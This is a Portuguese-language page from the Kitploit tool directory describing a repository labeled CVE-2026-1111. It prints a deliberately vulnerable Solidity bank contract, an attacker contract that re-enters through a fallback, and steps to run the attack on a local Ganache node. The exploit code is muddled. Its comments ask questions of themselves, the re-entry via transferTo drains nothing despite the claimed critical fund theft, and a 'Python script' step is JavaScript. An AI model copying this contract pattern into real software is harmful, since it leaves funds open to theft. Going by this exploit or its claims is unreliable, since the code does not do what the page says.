Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — Exemplo de exploração de reentrância entre funções para contratos inteligentes, com contrato Solidity vulnerável e contrato atacante demonstrando o dreno de fundos por meio de reentrada no fallback. | Kitploit
Ferramentas/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Análise de VulnerabilidadesExploraçãoAprendizado e Educação
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Exemplo de exploração de reentrância entre funções para contratos inteligentes, com contrato Solidity vulnerável e contrato atacante demonstrando o dreno de fundos por meio de reentrada no fallback.

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-1111 – Reentrância entre Funções em Contrato Inteligente

Código do Programa (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Reentrância entre Funções em Contrato Inteligente

Severity: Critical

Visão Geral

Um contrato inteligente não possui uma proteção global contra reentrância, permitindo que um atacante reentre no contrato por meio de uma função diferente durante uma chamada withdraw, contornando uma proteção local e drenando os fundos.

Detalhes da Vulnerabilidade

  • Tipo: Reentrância
  • Impacto: Roubo de todo o Ether bloqueado.
  • Causa raiz: A função withdraw atualiza o saldo após uma chamada externa, e uma função separada que altera o estado (transferTo) pode ser chamada de forma reentrante, manipulando os saldos.

Demonstração do Exploit

  1. Inicie um nó Ethereum local (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Faça o deploy de VulnerableBank.sol e Attacker.sol usando Remix ou Truffle.
  3. Execute o ataque por meio do script Python (simule usando o console do Remix):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Baixar ferramenta